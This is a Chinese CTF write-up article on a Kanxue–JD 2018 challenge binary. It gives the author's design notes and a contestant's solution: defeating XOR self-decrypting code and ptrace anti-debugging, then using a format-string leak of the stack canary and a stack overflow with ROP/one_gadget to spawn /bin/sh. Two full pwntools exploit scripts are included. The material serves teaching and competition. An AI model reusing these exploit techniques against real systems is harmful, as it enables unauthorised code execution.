查看原文
其他

看雪.京东 2018 CTF 第三题点评与解析

看雪CTF 看雪学院 2019-05-27


世界杯的结局实在难以预测.......

第三题共有27人攻破~



来看看第三题比赛过后,攻击方的排名情况~


前三名依然稳如泰山


这仅仅只是一个开始,究竟下回如何?

且听下回分解......



看雪版主&评委 netwind 点评


此题是一道把加解密和漏洞利用相结合的一题,作者把关键代码进行了异或加密并且进行了反调试保护,当解密出代码后会发现存在格式化字符串漏洞和栈溢出漏洞,通过格式化字符串漏洞来泄露canary,然后利用栈溢出覆盖返回地址就可以获得shell,从而读取flag完成破解。此题设计思路清晰完整,对学习加解密和漏洞利用有很大帮助!



看雪.京东 2018 CTF 第三题 作者简介


BennetD

bbs.pediy.com/user-694555

第三题出题者简介:

看雪ID:BennetD,假装爱诗词歌赋的伪文艺青年

15年求学于武汉科锐

16年底毕业后就职于南京君立华域至今


“什么?15年前在做什么?”和很多年轻人一样在问:“我是谁?我来自哪里?我要去哪里?”

别问了,“种一棵树最好的时间是十年前,其次是现在”。



看雪.京东 2018 CTF 第三题 设计思路



0x0.基本信息


系统:Ubuntu16.04(可作为提示信息)

漏洞类型:栈溢出

漏洞缓解措施:NX,Canary

软件自身保护:代码自解密/自加密,反调试,系统调用(这个也算保护?)


程序概要执行流程:

 



0x1.设计思路


初始想法:对自身代码做保护措施,对关键代码编码,总不能F5一键还原关键代码吧;漏洞类型选择栈溢出(相对简单,理解起来容易,题目设计起来也容易>_<);加入反调试,防止动态调试;使用系统调用来完成一些主要功能,防止一眼看出程序在做什么(大佬除外)


代码编码:不论对代码解密还是加密就是对代码的编码,解密是对加密后的代码进行解密执行,加密是对程序原有的一些代码进行加密(这些加密代码的选择是只执行一次的代码,执行多次的代码再次执行时需要对应的解密,设计就更复杂了。运行时对代码加密可以防止分析人员对程序的正确dump,当然识别出代码加密的机制这个防护也就绕过了)


编码思路:采用xor来对代码进行编码,输入6字节的key,共对6段代码进行加密,输入的6字节并非编码key,真正编码key由输入key计算得来,计算过程如下图:使用输入的key(k1-k6)作为种子,第1次加密使用k1;第2次加密使用k1和k2进行xor的结果,记作X2;第3次加密使用X2和k3进行xor的结果,依次按照这种模式共完成6次加密。加密完成后只需要输入正确的key经过6次解密即可完成对这些编码后的代码完全解密了。经过正确解密的代码中有运行时对程序部分代码的编码,所说的运行时对代码加密就是这些代码完成的,使用的key和最终编码key一致。



系统调用:查看系统调用号路径 /usr/include/asm/unistd_64.h,使用到的系统调用有read,write,mprotect,exit,ptrace。unistd_64.h文件中声明如下:


#define __NR_read 0

#define __NR_write 1

#define __NR_mprotect 10

#define __NR_exit 60

#define __NR_ptrace 101

 

read和write用来获取或输出信息;mprotect用来修改内存属性,使对应内存可写,因为我们要对代码进行编码,这是必要的;ptrace和exit用来完成反调试的功能,下面以反调试为例,说一下系统调用的构造。


反调试:使用系统调用构造功能汇编代码的关键是参数的传递,对于linux系统64位程序来说,一个函数前六个参数分别通过rdi,rsi,rdx,rcx,r8,r9来传递,其他更多的参数通过栈来传递,rax寄存器保存的是对应调用号,按照这个规则使用不同的参数和调用号就可完成不同对应的功能函数。这里使用ptrace跟踪自身的方式来判别是否处于调试状态。


ptrace反调试c代码:


      if(ptrace(PTRACE_TRACEME, 0, 1, 0) < 0) {

           exit(0);

      }


使用系统调用的ptrace汇编代码:


mov rax, 0x65  //ptrace调用号101

mov rcx, 0      //第四个参数0

mov rdx, 1        //第三个参数1

mov rsi, 0          //第二个参数0

mov rdi, 0      //第一个参数0

syscall


程序退出exit(0)也可以根据上述写出对应的系统调用退出函数,结合ptrace即可完成针对调试器的检测且在检测到调试器能正常结束程序的功能。


栈溢出设计:通过覆盖返回地址即可劫持执行流,增加点难度添加NX和Canary栈保护机制,NX确保了数据的不可执行,而Canary保护则几乎可以挫败所有通过覆盖返回地址达成的利用,但也有例外,比如这题就是很刻意的例外,通过printf泄露出Canary,返回地址任意更改,Canary还是你的Canary。漏洞代码逻辑如下:


read(0, rsp, 0x1a);

printf(rsp);

read(0, rsp, 0x200);


很明显的格式化字符和栈溢出漏洞,有利用基础的将会很快写出利用代码,但在这一切之前,在寻找到真正的漏洞代码之前,你需要做的就是对程序的正确解码,反调试的绕过和对系统调用的功能识别。



0x2.解题思路


获取解码key:题目的难度似乎不在于程序的漏洞利用,而在于代码的正确解密,当我把程序需要的编码功能都完成之后就在想,如果是我自己来解密代码我该怎么做,我会怎么做,我能怎么做(怎么做三连),于是我想到了李清照的一句词“争渡,争渡,惊起一滩鸥鹭”,于是这首词作为欢迎信息给大家欣赏。


怎么做呢?提供一些思路:


1.理解解密逻辑,识别出解密代码头部,识别出可能的代码结束的位置,提取出这段字节码,写程序对这段代码进行枚举暴破,当然会遇到程序奔溃的情况,所以需要添加异常处理,直到出现一个值且程序不会抛出任何异常为止(如果解密后的正常代码有故意设置的能触发异常代码呢?<_>!)


2.使用IDA编写脚本模拟执行代码解密,观察数据的变化,看是否有正常的代码形成


3.由于是单字节解密,假设解密代码头部是一样的代码,那么当正常解密第一段代码后,拿后面的加密字节码和已解密的字节码进行逐字节xor,如果得到的值相等,则这个值就是该段代码的解密key


4.想到这个方法也是意外,只针对单字节对多字节代码加密有效,加密完成后使用winhex查看加密后的字节码,发现让我不安的事情。在正常的字节码中存在大量的0x00,0异或任何数据的结果等于其数据本身,这样在加密后的字节码中就出现了大量连续的等值数据,这个数据就是加密key。


5.看大家其他的做法了。。。

我的思路就这些了,相信大家面对这样的问题时会有更多的巧妙的方法。

系统调用的功能识别:前面简单讲解了使用系统调用构造功能函数,识别也是同样的道理,根据系统调用号确定对应功能,根据传参确定对应操作的地址或数据,这里不再赘述。


绕过反调试:在执行完欢迎信息,使用调试器附加的话会发生错误,附加不上进程;从main函数进行单步调试会在触发反调试代码时程序直接退出,我们只需在反调试代码函数头部直接将push rbp修改为retn即可绕过,对应机器码0x55修改为0xC3,这样根本不给执行反调试代码的机会,自然也就达不到反调试的效果。



漏洞利用:当前面的障碍全部扫平之后,我们将会发现程序真正的漏洞点,下图所示为正确解码后的代码:



在 0x400a48 处向栈顶rsp读入0x1a字节的数据,在 0x400a59的printf 以保存在 0x601088 的数据为参数进行打印信息,而此处保存的正是栈顶指针rsp的值,在0x400a3d处可见对其赋值的代码,也就是说这里存在格式化字符串漏洞,我们可以使用输入“%p”来泄露栈内存数据,调试后会发现泄露Canary刚刚好。


继续往下在 0x400a70 处向 rsp-0x20 的位置读入了0x200字节的数据,这样大小的数据足以覆盖至返回地址,此处存在栈溢出,Canary有了,覆盖返回地址也就好办了。


当前返回地址距离读入数据地址为0xdd58-0xdd10-0x20=0x68,Canary值距离栈顶为0xdd48-0xdd10-0x20=0x58。栈布局如下图,最上面 0x7fffffffdd10  为栈顶rsp,0x7fffffffdd48 指向Canary值,0x7fffffffdd58 指向返回地址。



此时我们已经可以控制程序执行流,下面就是完成执行system(‘/bin/sh’)的功能代码了,由于程序使用了NX保护,我们通过构造rop代码来完成执行代码。


获取pop_rdi_ret_addr=0x400b23,使用ROPgadget--binary wow --only “pop|ret”命令查找pop rdi, ret


获取system函数地址system_addr=0x7ffff7a52390和‘/bin/sh’字符串所在内存地址bin_sh_addr=0x7ffff7b99d57



构造payload

|’a’*0x58| + | Canary | + | 0 | + |pop_rdi_ret_addr| + |bin_sh_addr|+ |system_addr|

 

 

0x3.exp


#
#
#
from pwn import*
context.log_level = "DEBUG"
elf = ELF('wow')

if args['REMOTE']:
 p = remote('127.0.0.1', 9999) #根据实际ip地址和端口进行更改
else:
 p = process('./wow')

#raw_input()
key = 'evXnaK'  #解码key
p.send(key)
p.recvuntil('wow!')

#get canary
Format = ''
Format += '%p' * 13
p.send(Format)
p.recvuntil('0')
leak_data = p.recv()
print leak_data
canary = leak_data[0x80:]
print canary

#
#payload = |'a'*0x58| + |canary| + |0| + |pop_rdi_ret_addr| + |bin_sh_addr| + |system_addr|
#
system_addr = 0x7ffff7a52390
bin_sh_addr = 0x7ffff7b99d57
pop_rdi_ret_addr = 0x400b23

payload = ""
payload += 'a'* 0x58
payload += p64(int(canary, 16))
payload += p64(0)
payload += p64(pop_rdi_ret_addr)
payload += p64(bin_sh_addr)
payload += p64(system_addr)

#get shell
p.send(payload)
p.interactive()


 

0xFF.写在后面


程序本身有很大的设计缺陷,当输入错误解码key后运行程序直接奔溃了,更合理的设计应该加入异常处理,让程序体面的退出;


作为一道pwn题,不仅有栈溢出,格式化字符串漏洞这些知识点,同时考察了代码编码,反调试,系统调用等其他知识点,就变成了带有对抗的pwn题了,也许会被人诟病,但题目设计的目的就是让大家在解题过程中有不一样的收获,比赛不是目的,在比赛中有所收获,能提升自身技术能力才是最重要的;古人以诗会友,吟诗作赋,我们搞技术的就以‘码’会友了。


由于本人水平有限,表述或认知方面存在不足或错误之处,还请指正。



看雪.京东 2018 CTF 第三题解析



*本解析来自看雪论坛 iweizime 



1. 简单的反调试


在函数test()里面使用sys_ptrace系统调用进行反调试。


void __cdecl test()
{
 unsigned __int64 v0; // r10
 signed __int64 v1; // rax

 if ( sys_ptrace(0LL, 0LL, 1uLL, v0) < 0 )
   v1 = sys_exit(0);
}


只需要在welcome()函数中patch掉test()函数的调用即可清除反调试。


自修改代码


.text:0000000000400816
.text:0000000000400818 ; ---------------------------------------------------------------------------
.text:0000000000400818                 sar     rax, 0Ch
.text:000000000040081C                 shl     rax, 0Ch
.text:0000000000400820                 mov     rdi, rax
.text:0000000000400823                 mov     rdx, 7
.text:000000000040082A                 mov     rax, 0Ah
.text:0000000000400831                 mov     rsi, 1000h
.text:0000000000400838                 syscall                 ; LINUX - sys_mprotect
.text:000000000040083A                 xor     rax, rax
.text:000000000040083D                 mov     rdx, 6          ; size = 6
.text:0000000000400844                 push    rax
.text:0000000000400845                 lea     rax, szCh
.text:000000000040084D                 mov     rsi, rax        ; buf = szCh
.text:0000000000400850                 pop     rax
.text:0000000000400851                 mov     rdi, rax        ; fd = 0
.text:0000000000400854                 syscall                 ; LINUX - read
.text:0000000000400856                 call    $+5
.text:000000000040085B
.text:000000000040085B L0_64:
.text:000000000040085B                 pop     rax
.text:000000000040085C                 add     rax, 24h ; '$'
.text:0000000000400860                 xor     rcx, rcx
.text:0000000000400863                 mov     dl, [rsi+rcx]
.text:0000000000400866
.text:0000000000400866 L1_64:                                  ; CODE XREF: .text:0000000000400878↓j
.text:0000000000400866                 mov     bl, [rax+rcx]
.text:0000000000400869                 xor     bl, dl
.text:000000000040086B                 mov     [rax+rcx], bl
.text:000000000040086E                 mov     dh, [rax+rcx-1]
.text:0000000000400872                 inc     rcx
.text:0000000000400875                 cmp     dh, 0FBh
.text:0000000000400878                 jz      short L1_64
.text:000000000040087A                 cmp     bl, 90h
.text:000000000040087D                 jnz     short L1_64
.text:000000000040087D ; ---------------------------------------------------------------------------
.text:000000000040087F                 db  2Dh ; -
.text:0000000000400880                 db 0E8h
.text:0000000000400881                 db  61h ; a
.text:0000000000400882                 db  6Dh ; m
.text:0000000000400883                 db  2Dh ; -
.text:0000000000400884                 db  48h ; H
.text:0000000000400885                 db 0E5h
.text:0000000000400886                 db  65h ; e
.text:0000000000400887                 db  65h ; e
.text:0000000000400888                 db  65h ; e
.text:0000000000400889                 db  2Dh ; -
.text:000000000040088A                 db  54h ; T
.text:000000000040088B                 db 0ACh
.text:000000000040088C LEn0_64         db 0EFh                 ; CODE XREF: .text:000000000040089B↓j
.text:000000000040088D                 db  79h ; y
.text:000000000040088E                 db  6Dh ; m

在 0x400838 处,使用 sys_mprotect(0x400000, 0x1000, 7) 将一段代码段内存修改为可读、可写、可执行。在 0x400854 处使用 sys_read(0, szCh, 6) 读6个字符,保存到szCh。在 L1_64 处的循环,使用读入第一个字符对0x40087F 处的内存进行异或。

 

读入的字符是什么,这个不太好判断,试了几个字符后,发现 0x00400886 处有三个e,就用e试了一下,正好出现了合理的汇编代码。

.text:000000000040087F 48 8D 04 08             lea     rax, [rax+rcx]
.text:0000000000400883 48 2D 80 00 00 00       sub     rax, 80h
.text:0000000000400889 48 31 C9                xor     rcx, rcx
.text:000000000040088C
.text:000000000040088C                         LEn0_64:                                ; CODE XREF: .text:000000000040089B↓j
.text:000000000040088C 8A 1C 08                mov     bl, [rax+rcx]
.text:000000000040088F 30 D3                   xor     bl, dl
.text:0000000000400891 88 1C 08                mov     [rax+rcx], bl
.text:0000000000400894 48 FF C1                inc     rcx
.text:0000000000400897 48 83 F9 20             cmp     rcx, 20h ; ' '
.text:000000000040089B 7C EF                   jl      short LEn0_64
.text:000000000040089D 48 05 80 00 00 00       add     rax, 80h
.text:00000000004008A3 48 31 C9                xor     rcx, rcx
.text:00000000004008A6 8A 14 0E                mov     dl, [rsi+rcx]
.text:00000000004008A9 48 FF C6                inc     rsi
.text:00000000004008AC 32 14 0E                xor     dl, [rsi+rcx]
.text:00000000004008AF
.text:00000000004008AF                         L2_64:                                  ; CODE XREF: .text:00000000004008C1↓j
.text:00000000004008AF                                                                 ; .text:00000000004008C6↓j
.text:00000000004008AF 8A 1C 08                mov     bl, [rax+rcx]
.text:00000000004008B2 30 D3                   xor     bl, dl
.text:00000000004008B4 88 1C 08                mov     [rax+rcx], bl
.text:00000000004008B7 8A 74 08 FF             mov     dh, [rax+rcx-1]
.text:00000000004008BB 48 FF C1                inc     rcx
.text:00000000004008BE 80 FE FB                cmp     dh, 0FBh
.text:00000000004008C1 74 EC                   jz      short L2_64
.text:00000000004008C3 80 FB 90                cmp     bl, 90h
.text:00000000004008C6 75 E7                   jnz     short L2_64


看出第一个字符后,后面的五个字符就好判断了。可以发现一个规律,每段内存被异或后,其第一条指令为lea     rax, [rax+rcx],从而第一个字节为0x48。利用这个规律,可以找出后面的五个字符。最后这六个字符为evXnaK。六个字符正确后,程序会输出 wow!\n。



漏洞利用


泄露信息


.text:0000000000400A30 ; ---------------------------------------------------------------------------
.text:0000000000400A30 xor     rax, rax
.text:0000000000400A33
.text:0000000000400A33 loc_400A33:                             ; CODE XREF: .text:L_J0j
.text:0000000000400A33 mov     rdx, 1Ah
.text:0000000000400A3A mov     rsi, rsp
.text:0000000000400A3D mov     ds:lpGoble, rsp
.text:0000000000400A45 mov     rdi, rax
.text:0000000000400A48 syscall                                 ; LINUX - read
.text:0000000000400A4A mov     rax, cs:lpGoble
.text:0000000000400A51 mov     rdi, rax
.text:0000000000400A54 mov     eax, 0
.text:0000000000400A59 call    _printf
.text:0000000000400A5E xor     rax, rax
.text:0000000000400A61 mov     rdx, 200h
.text:0000000000400A68 lea     rsi, [rsp-20h]
.text:0000000000400A6D mov     rdi, rax
.text:0000000000400A70 syscall                                 ; LINUX - sys_read
.text:0000000000400A72 nop

在0x400A48处读入0x1a个字符到rsp处,然后使用读入的字符作为printf的第一个参数,此处有格式化字符串漏洞。利用这个漏洞可以泄露出栈地址、libc的基地址、canary。使用的格式化字符串为'%1$p %13$p %8$s\x00' + p64(0x601028),其中 0x601028 为got表中setbuf函数的地址。

 

0x400A70处的sys_read向rsp-20h读入0x200个字节,用于覆盖main函数的返回地址,劫持执行流程。

 

覆盖用到的返回地址由one_gadget获取。


$ one_gadget libc.so.6
0x45216    execve("/bin/sh", rsp+0x30, environ)
constraints:
 rax == NULL

0x4526a    execve("/bin/sh", rsp+0x30, environ)
constraints:
 [rsp+0x30] == NULL

0xf02a4    execve("/bin/sh", rsp+0x50, environ)
constraints:
 [rsp+0x50] == NULL

0xf1147    execve("/bin/sh", rsp+0x70, environ)
constraints:
 [rsp+0x70] == NULL


exploit

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template
import time
from pwn import *

# Set up pwntools for the correct architecture
context.update(arch='amd64')
context.log_level = 'debug'
exe = './wow'
lib = './libc.so.6'

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR


def start(argv=[], *a, **kw):
   '''Start the exploit against the target.'''
   if args.GDB:
       return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
   elif args.REMOTE:
       return remote('139.199.99.130', 65188)
   else:
       return process([exe] + argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
hbreak *0x400A59
hbreak *0x400794
continue
'''
.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

libc = ELF(lib)

libc_setbuf = libc.symbols['setbuf']

log.info('libc_setbuf 0x%x' % libc_setbuf)

io = start()

io.recvuntil('--')
io.recvuntil('***************************')

# max length: 6
io.send('evXnaK')
io.recvuntil('wow!\n')


# max length: 26
# 0x601028: got setbuf
io.send('%1$p %13$p %8$s\x00' + p64(0x601028))
r = io.recv().split(' ')
rsp = int(r[0], 16)
canary = int(r[1], 16)
setbuf = u64(r[2] + '\x00' * 2)

log.info('rsp    0x%x' % rsp)
log.info('canary 0x%x' % canary)
log.info('setbuf 0x%x' % setbuf)

libc_base = setbuf - libc_setbuf

log.info('libc   0x%x' % libc_base)


# 0x45216 find by one_gadget
rop_chain = 0x45216
payload = 'A' * (0x20 + 0x38)
payload += p64(canary)
payload += 'A' * 8
payload += p64(rop_chain + libc_base)

io.send(payload)

io.interactive()



CTF 寄语



netwind

bbs.pediy.com/user-39732

netwind:

2017年,看雪.Wifi万能钥匙 2017CTF年中赛和看雪.TSRC 2017CTF秋季赛连续成功举办,目前看雪CTF竞赛已经是国内逆向领域最专业、影响力最广的赛事。2018年,看雪CTF竞赛即将拉开序幕。本届大赛将依然严格按照竞赛规则进行,保证大赛的公平、公正、公开。


瑾代表看雪2018CTF大赛组委会并以大赛评委的名义对所有参加比赛的选手表示热烈的欢迎!相信所有参赛选手都会有不一样的收获,相信此次大赛会因你们精湛的技术而变得分外精彩!再此特别感谢所有关注、支持和帮助大赛的各界朋友,也希望大家持续关注和支持看雪CTF大赛!


我们希望能有更多的朋友来参与看雪CTF大赛,设计优质的作品,分享奇特的破解思路,结识朋友,探讨交流,共同步入技术的巅峰!



iweizime

bbs.pediy.com/user-677218

iweizime:

祝各位CTFer看汇编如同看小说,在看雪CTF中取得好成绩,更重要的是在比赛过程中能学到新的东西,提高自己的知识水平。



合作伙伴

京东集团是中国收入最大的互联网企业之一,于2014年5月在美国纳斯达克证券交易所正式挂牌上市,业务涉及电商、金融和物流三大板块。

 

京东是一家技术驱动成长的公司,并发布了“第四次零售革命”下的京东技术发展战略。信息安全作为保障业务发展顺利进行的基石发挥着举足轻重的作用。为此,京东信息安全部从成立伊始就投入大量技术和资源,支撑京东全业务线安全发展,为用户、供应商和京东打造强大的安全防护盾。

 

随着京东全面走向技术化,大力发展人工智能、大数据、机器自动化等技术,将过去十余年积累的技术与运营优势全面升级。面向AI安全、IoT安全、云安全的机遇及挑战,京东安全积极布局全球化背景下的安全人才,开展前瞻性技术研究,成立了硅谷研发中心、安全攻防实验室等,并且与全球AI安全领域知名的高校、研究机构建立了深度合作。

 

京东不仅积极践行企业安全责任,同时希望以中立、开放、共赢的态度,与友商、行业、高校、政府等共同建设互联网安全生态,促进整个互联网的安全发展。


CTF 旗帜已经升起,等你来战!

扫描二维码,立即参战!





戳原文,立刻加入战斗!

    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存